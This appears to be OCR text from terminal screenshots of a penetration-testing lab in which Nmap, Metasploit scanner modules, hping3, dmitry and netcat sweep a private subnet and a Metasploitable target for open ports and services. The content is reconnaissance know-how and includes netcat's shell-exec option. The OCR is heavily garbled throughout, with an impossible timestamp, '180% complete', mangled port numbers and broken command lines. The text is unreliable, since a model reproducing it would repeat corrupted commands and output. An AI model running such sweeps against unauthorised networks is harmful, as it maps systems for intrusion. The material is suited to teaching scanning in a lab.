Starting Nmap 7.40 ( https://nmap.org ) at 2017-01-23 09:84 EST
Nmap scan report for 172.16.69.128

Host is up (0.00036s latency).

PORT  STATE SERVICE

80/tcp open http

Nmap scan report for 172.16.69.129
Host is up (0.00020s latency)

PORT  STATE SERVICE

80/tcp closed http

Nmap scan report for 172.16.69.130
Host is up (0.00045s latency)

PORT  STATE SERVICE

80/tcp open http

Nmap scan report for 172.16.69.131
Host is up (0.00042s latency)

PORT  STATE SERVICE

80/tcp closed http

Nmap scan report for 172.16.69.132
Host is up (0.00039s latency).
PORT  STATE SERVICE

88/tcp open http

Nmap done: 5 IP addresses (5 hosts up) scanned in 0.10 seconds
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:~# msfconsole

METASPLOIT CYBER MISSILE COMMAND V4

A G R e g e i e i g
FHH R R R R
# WAVE 4 ##tiHtH SCORE 31337 #a## R HIGH FFFFFFFF #
R R
http://metasploit.com

Taking notes in notepad? Have Metasploit Pro track & report
your progress and findings -- learn more on http://rapid7.com/metasploit

me loit v4.1 '

1613 exploits - 915 auxiliary - 279 post

471 payloads - 39 encoders - 9 nops

Free Metasploit Pro trial: http://r-7.co/trymsp

LU L}
—_———

]
]
]
]

msf > use auxiliary/scanner/ip/ipidseq

msf auxiliary( ) > show options
Module options (auxiliary/scanner/ip/ipidseq):
Name Current Setting Required Description

INTERFACE name of the interface

RHOSTS yes target address range or CIDR identifier
RPORT 8 yes target port

SNAPLEN 65535 yes number of bytes to capture

THREADS 1 yes number of concurrent threads

TIMEOUT 5600 yes The reply read timeout in milliseconds
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set RHOSTS 172.16.69.0/24

> set THREADS 25

msf auxiliary( ) > show options

Module options (auxiliary/scanner/ip/ipidseq):

Name
INTERFACE
RHOSTS
RPORT
SNAPLEN

THREADS
TIMEOUT

Current Setting Required Description

172.16.69.0/24
80

65535

25

500

name of the interface

target address range or CIDR identifier
target port

number of bytes to capture

number of concurrent threads

reply read timeout in milliseconds

yes
yes
yes
yes

yes

msf liary(

File Edit View Search Terminal Help

auxiliary( ) > run
172.16.69.1's IPID sequence class: Incremental!

] Scanned 29 of 256 hosts (1 complete)

Scanned 53 of 256 hosts (2 complete)

Scanned 79 of 256 hosts (3 complete)

] Scanned 104 of 256 hosts (40% complete)

172.16.69.128's IPID sequence class: Unknown

172.16.69.130's IPID sequence class: Unknown

172.16.69.129's IPID sequence class: Unknown

172.16.69.131's IPID sequence class: Incremental!

172.16.69.132's IPID sequence class: Incremental!

Scanned 133 of 256 hosts (51% complete)

Scanned 158 of 256 hosts ( complete)

Scanned 183 of 256 hosts complete)

Scanned 208 of 256 hosts complete)

Scanned 232 of 256 hosts complete)

Scanned 256 of 256 hosts (100% complete)

Auxiliary medule execution completed

auxiliary( ) > 11
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[112]



[113 ]



File Edit View Search Terminal Help

:~# msfconsole

dBEBEBBb dBBEP dBBBBEEP dBBBEBb
* dB'

dB'dB'dB' dBEP dBP dBP BB
dB'dB'dB' dBP dEP dBP BB
dB'dB'dB’ dBEBEP  dBP dBBBEBEB

dBBBEBb dBP dBBBBP dBP dBBBEBBP
dB' dBP dB'.BP
dBBBE' dBP dB'.BP dBP dBP
dBP dBP dB' .BP dBP dBP
dBP dBBBBP dBBEBBP dBP dBP

To boldly go where no
shell has gone before

Tired of typing 'set RHOSTS'? Click & pwn with Metasploit Pro
Learn more on http://rapid7.com/metasploit

=[ metasploit v4.13.14-dev
--=[ 1613 exploits - 915 auxiliary - 279 post
--=[ 471 payloads - 39 encoders - 9 nops
--=[ Free Metasploit Pro trial: http://r-7.co/trymsp

> use auxiliary/scanner/discovery/udp_sweep
auxiliary( ) > show options

Module options (auxiliary/scanner/discovery/udp_sweep):
Name Current Setting Required Description
The number of hosts to probe in each set
RHOSTS yes The target address range or CIDR identifier
THREADS 10 yes The number of concurrent threads

msf auxiliary(

File Edit View Search Terminal Help

msf auxiliary( ) > set RHOSTS 172.16.69.128
RHOSTS => 172.16.69.128

mst auxiliary( ) > set THREADS 20

THREADS => 20

msf auxiliary( ) > show options

Module options (auxiliary/scanner/discovery/udp_sweep):
Name Current Setting Required Description
v The number of hosts to probe in each set
RHOSTS 172.16.69.128 yes The target address range or CIDR identifier
THREADS 20 yes The number of concurrent threads

msf auxiliary( ) > 11
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mst auxiliary( ) > run

[*] Sending 13 probes to 172.16.69.128-»>172.16.69.128 (1 hosts)

[*] Discovered NetBIOS on 172.16.69.128:137 (METASPLOITABLE:<00>:U :METASPLOITABLE:<03>:U :METASPLOITABLE:<26>:U :[ffz] MS
BROWSE__[f<@1>:G :WORKGROUP:<@0>:G :WORKGROUP:<1d>:U :WORKGROUP:<le>:G :00:00:00:00:00:00)

[*] Discovered Portmap on 172.16.69.128:111 (100000 v2 TCP(111), 100000 v2 UDP(111), 100024 vl UDP(36724), 100024 vl TCP|
(35744), 100003 v2 UDP(2049), 1000603 v3 UDP(2049), 1060083 v4 UDP(2049), 100021 v1 UDP(33781), 100021 v3 UDP(33781), 1000
21 v4 UDP(33781), 100003 v2 TCP(2049), 100003 v3 TCP(2049), 100003 v4 TCP(2049), 100021 vl TCP(45296), 100021 v3 TCP(452
96), 160021 v4 TCP(45296), 100005 v1 UDP(35108), 100005 v1 TCP(35663), 100065 v2 UDP(35108), 100805 v2 TCP(35663), 10000
5 v3 UDP(35108), 100005 v3 TCP(35663))

[*] Discovered DNS on 172.16.69.128:53 (BIND 9.4.2)

[*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed

msf auxiliary( ) > 1

File Edit View Search Terminal Help

msf auxiliary( ) > set RHOSTS 172.16.69.1-10
RHOSTS => 172.16.69.1-10

msf auxiliary( ) > show options

Module options (auxiliary/scanner/discovery/udp sweep):
Name Current Setting Required Description

BATCHSIZE 256 yes The number of hosts to probe in each set
RHOSTS 172.16.69.1-10  yes The target address range or CIDR identifier
THREADS 20 yes The number of concurrent threads

msf auxiliary( ) = run

[*] Sending 13 probes to 172.16.69.1->172.16.69.10 (10 hosts)

[*] Discovered NTP on 172.16.69.1:123 (240204ec00000883000001eellfd18fddc31c7b0d99fc40ac54f234b71b152f3dc31c7be0c32ed9dd|
c31c7be0c3819de)

[*] Scanned 10 of 10 hosts (100% complete)

[*] Auxiliary module execution completed

mst auxiliary( ) > 1

File Edit View Search Terminal Help

msf auxiliary( ) > set RHOSTS 172.16.69.0/24
RHOSTS => 172.16.69.0/24

msf auxiliary( ) > show options

Module options (auxiliary/scanner/discovery/udp sweep):

Name Current Setting Required Description

BATCHSIZE 6 y
RHOSTS 172.16.69.0/24  yes The target address range or CIDR identifier
THREADS 20 yes The number of concurrent threads

es The number of hosts to probe in each set

msf auxiliary( ) > run

[*] Sending 13 probes to 172.16.69.0->172.16.69.255 (256 hosts)

[*] Discovered NTP on 172.16.69.1:123 (240204ec000008830000023e11fd18fddc31c7b0d99fc40ac54f234b71b1523dc31c8135d175217d
c31c8135d1ce2er)

[*] Discovered NetBIOS on 172.16.69.128:137 (METASPLOITABLE:<B0>:U :METASPLOITABLE:<83>:U :METASPLOITABLE:<20>:U :[Jz] MS
BROWSE__[}<@1>:G :WORKGROUP:<00>:G :WORKGROUP:<ld>:U :WORKGROUP:<le>:G :00:00:00:00:00:00)

[*] Discovered Portmap on 172.16.69.128:111 (100000 v2 TCP(111), 100000 v2 UDP(111), 100024 v1 UDP(36724), 100024 vl TCP
(35744), 100003 v2 UDP(2049), 160003 v3 UDP(2049), 160003 v4 UDP(2049), 100021 v1 UDP(33781), 100021 v3 UDP(33781), 1000
21 v4 UDP(33781), 100003 v2 TCP(2049), 100003 v3 TCP(2049), 100003 v4 TCP(2049), 100021 vl TCP(45296), 100021 v3 TCP(452
96), 100021 v4 TCP(45296), 100005 v1 UDP(35108), 100005 v1 TCP(35663), 100005 v2 UDP(35108), 100005 v2 TCP(35663), 10000
5 v3 UDP(35108), 100085 v3 TCP(35663))

[*] Discovered DNS on 172.16.69.128:53 (BIND 9.4.2)

[*] Scanned 256 of 256 hosts (100% complete)

[*] Auxiliary module execution completed

mst auxiliary( N |
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:~# msfconsole

HigERERE

S
o

P
HHHE B
R
R R
2 i
I
S SHHEHH
### R
HHE #H S
# HH ##
#i #H # #H
http://metasploit.com

Validate lots of vulnerabilities to demonstrate exposure
with Metasploit Pro -- Learn more on http://rapid7.com/metasploit

]

p - auxiliary - 279 post 1
471 payloads - 39 encoders - 9 nops 1
Free Metasploit Pro trial: http://r-7.co/trymsp ]

liary/scanner/portscan/syn
) > show options

options (auxiliary/scanner/portscan/syn):

Current Setting Required Description
BATCHSIZE The number of hosts to scan per set
DELAY > The delay between connections, per thread, in milliseconds
INTERFACE The name of the interface
JITTER The delay jitter factor (maximum value by which to +/- DELAY) in milliseconds.
PORTS 1-10000 Ports to scan (e.g. 22-25,80,110-900)
RHOSTS The target address range or CIDR identifier
SNAPLEN 65535 The number of bytes to capture
THREADS 1 The number of concurrent threads
TIMEOUT 500 The reply read timeout in milliseconds

st auxiliary(
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msf auxiliary( ) > set RHOSTS 172.16.69.128
RHOSTS => 172.16.69.128

msf auxiliary( ) > set THREADS 20

THREADS => 20

msf auxiliary( ) > set PORTS 80

PORTS => 80

msf auxiliary( ) > show options

Module options (auxiliary/scanner/portscan/syn):
Name Current Setting Required Description

BATCHSIZE 256 The number of hosts to scan per set

DELAY 0 The delay between connections, per thread, in milliseconds

INTERFACE The name of the interface

JITTER 4] The delay jitter factor (maximum value by which to +/- DELAY) in milliseconds.
PORTS 80 y Ports to scan (e.g. 22-25,80,110-900)

RHOSTS 172.16.69.128 The target address range or CIDR identifier

SNAPLEN 65535 The number of bytes to capture

THREADS 20 The number of concurrent threads

TIMEOUT 500 The reply read timeout in milliseconds

msf auxiliary(syn) > I

File Edit View Search Terminal Help
msf auxiliary( ) = run

[*] TCP OPEN 172.16.69.128:80

[*] Scanned 1 of 1 hosts (180% complete)
[*] Auxiliary module execution completed
msf auxiliary( ) > 11

File Edit View Search Terminal Help

msf auxiliary( ) = set PORTS 0-100
PORTS => 0-100
msf auxiliary( ) > show options

Module options (auxiliary/scanner/portscan/syn):
Name Current Setting Required Description

BATCHSIZE 256 The number of hosts to scan per set

DELAY 0 yes The delay between connections, per thread, in milliseconds

INTERFACE no The name of the interface

JITTER 0 yes The delay jitter factor (maximum value by which to +/- DELAY) in milliseconds.
PORTS 0-106 yes Ports to scan (e.g. 22-25,80,110-900)

RHOSTS 172.16. yes The target address range or CIDR identifier

SNAPLEN 65535 yes The number of bytes to capture

THREADS 20 yes The number of concurrent threads

TIMEOUT 500 yes The reply read timeout in milliseconds

msf auxiliary(

TCP OPEN 172.16.69.128:

TCP OPEN 172.16.69.128:

TCP OPEN 172.16.69.128:

TCP OPEN 172.16.69.128:

TCP OPEN 172.16.69.128:

TCP OPEN 172.16.69.128:

Scanned 1 of 1 hosts (100% complete)
Auxiliary module execution completed
auxiliary(syn) > I

T T ——————
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) > set PORTS ©-65535

> show options

Module options (auxiliary/scanner/portscan/tcp):

Name Current Setting Required Description

CONCURRENCY The number of concurrent ports to check per host
DELAY The delay between connections, per thread, in milliseconds
JITTER 2 The delay jitter factor (maximum value by which to +/- DELAY) in milliseconds

PORTS 0-65535 y Ports to scan (e.g. 22-25,80,110-960)
RHOSTS 172.16.69.128 The target address range or CIDR identifier
THREADS 500 2 The number of concurrent threads

TIMEOUT le00 The socket connect timeout in milliseconds

sf auxiliary( ) > run

172.16.69.128: - 172.16.69.128: - TCP OPEN

*] 172.16.69.128: - 172.16.69.128: - TCP OPEN
172.16.69.128: - 172.16.69.128: - TCP OPEN
172.16.69.128: - 172.16.69.128: - TCP OPEN
172.16.69.128: - 172.16.69. - TCP OPEN
172.16.69.128: - 172.16.69. 80 - TCP OPEN
172.16.69.128: - 172.16.69. : - TCP OPEN
172.16.69.128: - 172.16.69.128: - TCP OPEN
172.16.69.128: - 172.16.69. - TCP OPEN
172.16.69.128: - 172.16.69. 4 - TCP OPEN
172.16.69.128: - 172.16.69.128: - TCP OPEN

*] 172.16.69.128: - 172.16.69.128: - TCP OPEN
172.16.69.128: - 172.16.69.128: - TCP OPEN
172.16.69.128: - 172.16.69.128: 4 - TCP OPEN
172.16.69.128: - 172.16.69.128:2049 - TCP OPEN
172.16.69.128: - 172.16.69.128: - TCP OPEN
172.16.69.128: - 172.16.69. - TCP OPEN
172.16.69.128: - 172.16.69. - TCP OPEN
172.16.69.128: - 172.16.69. - TCP OPEN
172.16.69.128: - 172.16.69.128: - TCP OPEN
172.16.69.128: - 172.16.69.128: - TCP OPEN

] 172.16.69.128: - 172.16.69.128: - TCP OPEN
172.16.69.128: - 172.16.69. - TCP OPEN
172.16.69.128: - 172.16.69. 8 - TCP OPEN
172.16.69.128: - 172.16.69. 8180 - TCP OPEN
172.16.69.128: - 172.16.69. 8787 - TCP OPEN
172.16.69.128: - 172.16.69.128: - TCP OPEN
172.16.69.128: - 172.16.69.128: 44 - TCP OPEN
172.16.69.128: - 172.16.69. ; - TCP OPEN
172.16.69.128: 172‘ .69.128:54034 - TCP OPEN
Sc
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msf auxiliary(syn) > set RHOSTS 172.16.69.0-255 i
RHOSTS => 172.16.69.0-255

msf auxiliary( ) > show options

Module options (auxiliary/scanner/portscan/syn):
Name

BATCHSIZE 256 The number of hosts to scan per set

DELAY yes The delay between connections, per thread, in milliseconds

INTERFACE no The name of the interface

JITTER yes The delay jitter factor (maximum value by which to +/- DELAY) in milliseconds.
PORTS 80 yes Ports to scan (e.g. 22-25,80,110-960)

RHOSTS 172.16.69.0-255 vyes The target address range or CIDR identifier

SNAPLEN 65535 yes The number of bytes to capture

THREADS 20 yes The number of concurrent threads

TIMEOUT 500 yes The reply read timeout in milliseconds

xiliary( ) > run

TCP OPEN 172.16.69.128:80

Scanned 256 of 256 hosts (100% complete)
Auxiliary module execution completed
auxiliary( ) > 11

File Edit View Search Terminal Help

msf auxiliary( ) > set RHOSTS 172.16.69.0/24
RHOSTS 172.16.69.0/24

mst a iary(syn) > show options

Module options {auxiliary/scanner/portscan/syn):
Name Current Setting Required Description

BATCHSIZE 256 The number of hosts to scan per set

DELAY [¢] yes The delay between connections, per thread, in milliseconds

INTERFACE ne The name of the interface

JITTER 4] yes The delay jitter factor (maximum value by which to +/- DELAY) in milliseconds.
PORTS 80 yes Ports to scan (e.g. 22-25,80,110-980)

RHOSTS 172.16.69.0/24  yes The target address range or CIDR identifier

SNAPLEN 65535 yes The number of bytes to capture

THREADS 20 yes The number of concurrent threads

TIMEOUT 500 yes The reply read timeout in milliseconds

mst auxiliary( ) = run

TCP OPEN 172.16.69.128:80
anned 256 of 256 hosts (100% complete)
liary module execution completed
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dBBBBBBb dBBBP dBEBBBBEP dBBBBEb
T

dB'dB'dB’ dBBP dBP dBP BB
dB'dB'dB" dBP dBP dBP BB
dB'dB'dB' dBBBBP  dBP dBBBBBBB

dBBBBBb dBP dBBBBP dBP dBBBBBBP
dB' dBP dB'.BP
dBBBB' dBP dB'.BP dBP dBP
dBP dBP dB'.BP dBP dBP
dBP dBBBBP dBBBBP dBP dBP

To boldly go where no
shell has gone before

Trouble managing data? List, sort, group, tag and search your pentest data
in Metasploit Pro -- learn more on http://rapid7.com/metasploit

=[ metasp d ]

--=[ 1613 exploits xiliary - 279 post |
-=[ 471 payloads - 39 encoders - 9 nops 1
-=[ Free Metasploit Pro trial: http://r-7.co/trymsp |
msf > use auxiliary/scanner/portscan/tcp

st auxiliary( ) = show options

Module options (auxiliary/scanner/portscan/tcp):
Name Current Setting Required Description

CONCURRENCY The number of cencurrent ports te check per host
DELAY yes The delay between connections, per thread, in milliseconds
JITTER yes The delay jitter factor (maximum value by which to +/- DELAY) in milliseconds

PORTS 1-10000 yes Ports to scan (e.g. 22-25,80,110-900)
RHOSTS yes The target address range or CIDR identifier
THREADS 1 yes The number of concurrent threads

TIMEOUT 1000 yes The socket connect timeout in milliseconds

)
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msf auxiliary( ) > set RHOSTS 172.16.69.128 =
RHOSTS => 172.16.69.128
) > set PORTS 80
) > show options

Module options {auxiliary/scanner/portscan/tcp):

Name Current Setting Required Description

CONCURRENCY The number of concurrent ports to check per host
DELAY yes The delay between connections, per thread, in milliseconds
JITTER yes The delay jitter factor (maximum value by which to +/- DELAY) in milliseconds

PORTS 8 yes Ports to scan (e.g. 22-25,80,110-960)
RHOSTS 172.16.69.128 yes The target address range or CIDR identifier
THREADS 1 yes The number of concurrent threads

TIMEOUT 1000 yes The socket connect timeout in milliseconds

auxiliary( ) > run
172.16.69.128: - 172.16.69.128:80 - TCP OPEN

Scanned 1 of 1 hosts (100% complete)
xili xecution completed

File Edit View Search Terminal Help
) set PORTS 0-100

> set THREADS 20
msf auxiliary( ) show options
Module options ( liary/scanner/portscan/tcp):
Name Current Setting Required Description
CONCURRENCY ] The number of concurrent ports to check per host
DELAY The delay between connections, per thread, in milliseconds
JITTER > The delay jitter factor (maximum value by which to +/- DELAY) in milliseconds
PORTS ¥ Ports to scan (e.g. 22-25,80,110-900)
RHOSTS 172.16.69.128 The target address range or CIDR identifier

THREADS 20 ] The number of concurrent threads
TIMEOUT 1000 The socket connect timeout in milliseconds

=]
]
-+

auxiliary( ) > run

172.16.69.128: - 172.16.69.128:
172.16.69.128: - 172.16.69.128:
172.16.69.128: - 172.16.69.128:
172.16.69.128: - 172.16.69.128:
172.16.69.128: - 172.16.69.128:
172.16.69.128: - 172.16.69.128:8
Scanned 1 of 1 hosts (100% complete)
Auxiliary module execution completed
auxiliary( )

O % % £ X ¥ ¥ F K
o P P P P P
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msf auxiliary( ) = set PORTS 0-65535
PORTS 0-65535

msf auxiliary( ) > show options

Module options (auxiliary/scanner/portscan/tcp):
Name Current Setting Required Description

CONCURRENCY The number of concurrent ports to check per host
DELAY yes The delay between connections, per thread, in milliseconds
JITTER yes The delay jitter factor (maximum value by which to +/- DELAY) in milliseconds

PORTS 0-65535 yes Ports to scan (e.g. 22-25,80,110-900)
RHOSTS 172.16.69.128 yes The target address range or CIDR identifier
THREADS The number of concurrent threads

TIMEOUT The socket connect timeout in milliseconds

- 172.16.69.128: - TCP OPEN
- 172.16.69.128: - TCP OPEN
- 172.16.69.128: - TCP OPEN
- 172.16.69.128: - TCP OPEN
- 172.16.69.128: - TCP OPEN
- 172.16.69.128:80 - TCP OPEN
- 172.16.69.128: - TCP OPEN
.16.69. : - 172.16.69.128: - TCP OPEN
172.16.69.128: - 172.16.69.128:445 - TCP OPEN
] 172.16.69.128: - 172.16.69.128:514 - TCP OPEN
172.16.69.128: - 172.16.69.128: - TCP OPEN
172.16.69.128: - 172.16.69.128: - TCP OPEN
172.16.69.128: - 172.16.69.128: - TCP OPEN
172.16.69.128: - 172.16.69.128: 4 - TCP OPEN
172.16.69.128: - 172.16.69.128:2049 - TCP OPEN
172.16.69.128: - 172.16.69.128: - TCP OPEN
172.16.69.128: - 172.16.69.128: - TCP OPEN
172.16.69.128: - 172.16.69.128: - TCP OPEN
172.16.69.128: - 172.16.69.128:5¢ - TCP OPEN
172.16.69.128: - 172.16.69.128: - TCP OPEN
172.16.69.128: - 172.16.69.128: - TCP OPEN
172.16.69.128: - 172.16.69.128: - TCP OPEN
172.16.69.128: - 172.16.69.128: - TCP OPEN
172.16.69.128: - 172.16.69.128: - TCP OPEN
172.16.69.128: - 172.16.69. 80 - TCP OPEN
172.16.69.128: - 172.16.69.128:8787 - TCP OPEN
172.16.69.128: - 172.16.69.128: - TCP OPEN
172.16.69.128: - 172.16.69.128: 44 - TCP OPEN
172.16.69.128: - 172.16.69.128:4 - TCP OPEN
172.16.69.128: - 172.16.69.128:54034 - TCP OPEN
Scanned 1 of 1 hosts (180% complete)
Auxiliary module execution completed
auxiliary(
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msf auxiliary( ) > set RHOSTS 172.16.69.08-255
RHOSTS => 172.16.69.0-255

msf auxiliary( ) > set PORTS 22,860,443

PORTS => 22,80,443

msf auxiliary( ) > show options

Module options (auxiliary/scanner/portscan/tcp)
Name Current Setting Required Description

CONCURRENCY The number of concurrent ports to check per host
DELAY yes The delay between connections, per thread, in milliseconds
JITTER yes The delay jitter factor (maximum value by which to +/- DELAY) in milliseconds

PORTS 22,80,443 yes Ports to scan (e.g. 22-25,80,110-900)
RHOSTS 172.16.69.0-255 yes The target address range or CIDR identifier
THREADS 20 yes The number of concurrent threads

TIMEOUT 1000 yes The socket connect timeout in milliseconds

msf auxiliary( ) = run

Scanned 34 of 256 hosts (13% complete)

Scanned 60 of 256 hosts (23% complete)

Scanned 77 of 256 hosts (30% complete)

Scanned 112 of 256 hosts (43% complete)
172.16.69.128: - 172.16.69.128:80 - TCP OPEN
172.16.69.128: - 172.16.69.128:22 - TCP OPEN
Scanned 128 of 256 hosts (50% complete)

Scanned 160 of 256 hosts (62% complete)

Scanned 180 of 256 hosts (70% complete)

Scanned 220 of 256 hosts (85% complete)

Scanned 238 of 256 hosts (92% complete)

Scanned 256 of 256 hosts (100% complete)

Auxiliary module execution completed

auxiliary( ) > 1

* X K K
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msf auxiliary( ) > set RHOSTS 172.16.69.0/24
RHOSTS => 172.16.69.0/24

msf auxiliary( ) > show options

Module options (auxiliary/scanner/portscan/tcp)

Name Current Setting Required Description

CONCURRENCY The number of concurrent ports to check per host
DELAY yes The delay between connections, per thread, in milliseconds
JITTER yes The delay jitter factor (maximum value by which to +/- DELAY) in milliseconds

PORTS 22,80,443 yes Ports to scan (e.g. 22-25,80,110-900)
RHOSTS 172.16.69.0/24  yes The target address range or CIDR identifier
THREADS 20 yes The number of concurrent threads

TIMEOUT 1000 yes The socket connect timeout in milliseconds

=
@
=

auxiliary( ) > run

Scanned 40 of 256 hosts (15% complete)

Scanned 60 of 256 hosts (23% complete)

Scanned 80 of 256 hosts (31% complete)

Scanned 119 of 256 hosts (46% complete)
172.16.69.128: - 172.16.69.128:80 - TCP OPEN
172.16.69.128: - 172.16.69.128:22 - TCP OPEN
Scanned 135 of 256 hosts (52% complete)

Scanned 155 of 256 hosts (60% complete)

Scanned 188 of 256 hosts (70% complete)

Scanned 219 of 256 hosts (85% complete)

Scanned 239 of 256 hosts (93% complete)

Scanned 256 of 256 hosts (100% complete)

Auxiliary module execution completed

auxiliary(tcp) > I
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:~# hping3 172.16.69.128 --scan 80 -S
Scanning 172.16.69.128 (172.16.69.128), port 80
1 ports to scan, use -V to see all the replies
et S Femmme e et e +----- +----- +
|port| serv name | flags |ttl] id | win | len

e e +eommmm bt BT +----- +----- +
80 http ¢ .S..A... 128 16300 64240 46

ALl replies received. Done.

Not responding ports:

File Edit View Search Terminal Help

:~# hping3 172.16.69.128 --scan 22,80,443 -5
Scanning 172.16.69.128 (172.16.69.128), port 22,80,443
3 ports to scan, use -V to see all the replies
e SRR i EEs SRR - +----- +
|port| serv name | | win | len

22 ssh N ... 128 52652 64240 46
80 http : .S, AL 128 52908 64240 46
ALl replies received. Done.
Not responding ports:

File Edit View Search Terminal Help

:~# hping3 172.16.69.128 --scan 0-100 -S
Scanning 172.16.69.128 (172.16.69.128), port 0-10@
101 ports to scan, use -V to see all the replies

S..AL. 8 15021 64240
22 ssh ¢ .5, AL 128 15277 64240 46

23 telnet - T 15533 64240 46
25 smtp oo S 8 16845 64240 46
53 domain :LS.LALLL 8 23469 64240 46
80 http s S 30125 64240 46
ALl replies received. Done.
Not respondini ports: (0 )
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:~# hping3 172.16.69.128 --scan 0-65535 -S
Scanning 172.16.69.128 (172.16.69.128), port ©-65535
65536 ports to scan, use -V to see all the replies
s s o o +
|port| serv name | [ttl] id | win | len |
s s oo +
21 ftp . 128 27822 64240
22 ssh .. 128 28078 64240
23 telnet . 128 28334 64240
smtp . 128 28846 64240
domain .. 128 36014 64240
http .. 128 42926 64240
sunrpc .. 128 51374 64240
netbios-ssn: .. 128 58030 64240
microsoft-d: . 128 5552 64240
512 exec : . 128 22192 64240
513 login .. 128 22704 64240
514 shell .. 128 22960 64240
1099 rmiregistry: .. 128 41906 64240
1524 ingreslock : .. 128 19892 64240
2049 nfs : . 128 23222 64240
2121 iprop . 128 41654 64240
3306 mysql . 128 18875 64240
3632 distcc : .. 128 37308 64240
5432 postgresql : .. 128 41155 64240
5900 : .. 128 30149 64240
.. 128 56005 64240
. 128 33225 64240
. 128 6157 64240
.. 128 38691 64240
.. 128 14659 64240
.. 128 19267 64240
.. 128 40261 64240
. 128 24689 64240
. 128 15249 64240
128 39333 64240

6000 x11

8787

35744

8009

6667

6697

8180

45296

35663

54034 P T
ALl replies received. Done.
Not respondini ports: (0 )
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File Edit View Search Terminal Help
i~# dmitry

Deepmagic Information Gathering Tool

"There be some deep magic going on"

Usage: dmitry [-winsepfb] [-t 0-9] [-0 %host.txt] host
-0 Save output to %host.txt or to file specified by -o file
Perform a whois lookup on the IP address of a host
Perform a whois lookup on the domain name of a host
Retrieve Netcraft.com information on a host
Perform a search for possible subdomains
Perform a search for possible email addresses
Perform a TCP port scan on a host
Perform a TCP port scan on a host showing output reporting filtered ports
-b Read in the banner received from the scanned port
* -1 0-9 Set the TTL in seconds when scanning a TCP port ( Default 2 )
*Requires thel—p flagged to be passed
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t~# dmitry -p 172.16.69.128

Deepmagic Information Gathering Teol

"There be some deep magic going on"

ERROR: Unable to locate Host Name for 172.16.69.128
Continuing with limited modules
HostIP:172.16.69.128

HostName:

Gathered TCP Port information for 172.16.69.128

open
open
open
open
open
open
139/tcp open

Portscan Finished: Scanned 150 ports, 141 ports were in state closed

ALl scans completed, exiting
~# i
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t~# dmitry -p 172.16.69.128 -0 output
Deepmagic Information Gathering Teol
"There be some deep magic going on"

Writing output to 'output.txt'

ERROR: Unable to locate Host Name for 172.16.69.128
Continuing with limited modules
HostIP:172.16.69.128

HostName:

Gathered TCP Port information for 172.16.69.128

open
open
open
open
open
open
111/tcp open
139/tcp open

Portscan Finished: Scanned 150 ports, 141 ports were in state closed

ALl scans completed, exiting

:~# cat output.txt
ERROR: Unable to locate Host Name for 172.16.69.128
Continuing with limited modules
HostIP:172.16.69.128
HostName:

Gathered TCP Port information for 172.16.69.128

21/tcp open
22/tcp open
23/tcp open
25/tcp open
53/tcp open
80/tcp open
111/tcp open
139/tcp open

Portscan Finished: Scanned 150 ports, 141 ports were in state closed
~#
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t~# nc -h
[vl.10-41]
connect to somewhere: nc [-options] hostname port[s] [ports]
listen for inbound: nc -1 -p port [-options] [hostname] [port]
options:

shell commands as '-e'; use /bin/sh to exec [dangerous!!]
filename program to exec after connect [dangerous!!]
allow broadcasts
gateway source-routing hop point[s], up to 8
num source-routing pointer: 4, 8, 12,
this cruft
secs delay interval for lines sent, ports scanned
set keepalive option on socket
listen mode, for inbound connects
numeric-only IP addresses, no DNS
hex dump of traffic
local port number
randomize local and remote ports
quit after EOF on stdin and delay of secs
local source address
set Type Of Service
answer TELNET negotiation
UDP mode
verbose [use twice to be more verbose]
timeout for connects and final net reads
Send CRLF as line-ending
- zero-I/0 mode [used for scanning]
port numbers can be individual or ranges: lo-hi [inclusive];
hyphens in port names must be backslash escaped (e.g. 'ftp\-data').

~#

File Edit View Search Terminal Help

i~# nc -nvz 172.16.69.128 8

(UNKNOWN) [172.16.69.128] 80 (http) open
t~# nc -nvz 172.16.69.128 443

(UNKNOWN) [1?%.16.69.123] 443 (https) : Connection refused
t-#

File Edit View Search Terminal Help
:~# for x in $(seq 20 30); do nc -nvz 172.16.69.128 $x;
> done
(UNKNOWN) [172.16.69.128] (ftp-data) : Connection refused
(UNKNOWN) [172.16.69.128] (ftp) open
(UNKNOWN) [172.16.69.128] (ssh) open
(UNKNOWN) [172.16.69.128] (telnet) open
(UNKNOWN) [172.16.69.128] 24 (?) : Connection refused
(UNKNOWN) [172.16.69.128] (smtp) open
(UNKNOWN) [172.16.69.128] (?) : Connection refused

(UNKNOWN) [172.16.69.128] (?) : Connection refused
(UNKNOWN) [172.16.69.128] 28 (?) : Connection refused
(UNKNOWN) [172.16.69.128] (?) : Connection refused
(UNKNOWN) [172.16.69.128] (?) : Connection refused

~# 11
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:~# for x in $(seq 20 30); do nc -nvz 172.16.69.128 $x;
> done | grep open
(UNKNOWN) [172.16.69.128] (ftp-data) : Connection refused
(UNKNOWN) [172.16.69.128] (ftp) open
(UNKNOWN) [172.16.69.128] (ssh) open
(UNKNOWN) [172.16.69.128] (telnet) open
(UNKNOWN) [172.16.69.128] 24 (?) : Connection refused
(UNKNOWN) [172.16.69.128] (smtp) open
(UNKNOWN) [172.16.69.128] (7} : C refused
(UNKNOWN) [172.16.69.128] (?7) : refused
(UNKNOWN) [172.16.69.128] 28 (?) : 5 refused
(UNKNOWN) [172.16.69.128] (?) : Connection refused
(UNKNOWN) [172.16.69.128] (?) : Connection refused

~# 11

File Edit View Search Terminal Help
:~# for x in $(seq 20 30); do nc -nvz 172.16.69.128 $x; =
> done 2>&1 | grep open
(UNKNOWN) [172.16.69.128] 21 (ftp) open
(UNKNOWN) [172.16.69.128] 22 (ssh) open
(UNKNOWN) [172.16.69.128] 23 (telnet) open
{UNKNOWN ) [1?i.16.69‘1 8] 25 (smtp) open
~#

File Edit View Search Terminal Help
:~# for x in %$(seq 20 30); do nc -nvz 172.16.69.128 $x;
> done 2>&1 | grep open | cut -d " * -f 3-4
21 (ftp)
22 (ssh)
23 (telnet)
25 (smtp)

File Edit View Search Terminal Help
:~# nc 172.16.69.128 -nvz 20-30
(UNKNOWN) [172.16.69.128] 25 (smtp) open
(UNKNOWN) [172.16.69.128] 23 (telnet) open
(UNKNOWN) [172.16.69.128] 22 (ssh) open
(UNKNOWN) [172.16.69.128] 21 (ftp) open
#

a2

File Edit View Search Terminal Help
~# nc 172.16.69.128 -nvz 20-30 2>&1 | cut -d " " -T 2-4
.16.69.128] 25 (smtp)
.16.69.128] 23 (telnet)
.16.69.128] 22 (ssh)

.16.69.128] 21 (ftp)

#1
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s~# - x in $(seq @ 255); do nc 172.16.69.$x -nvz 80 2>&1 | grep open | cut -d " "
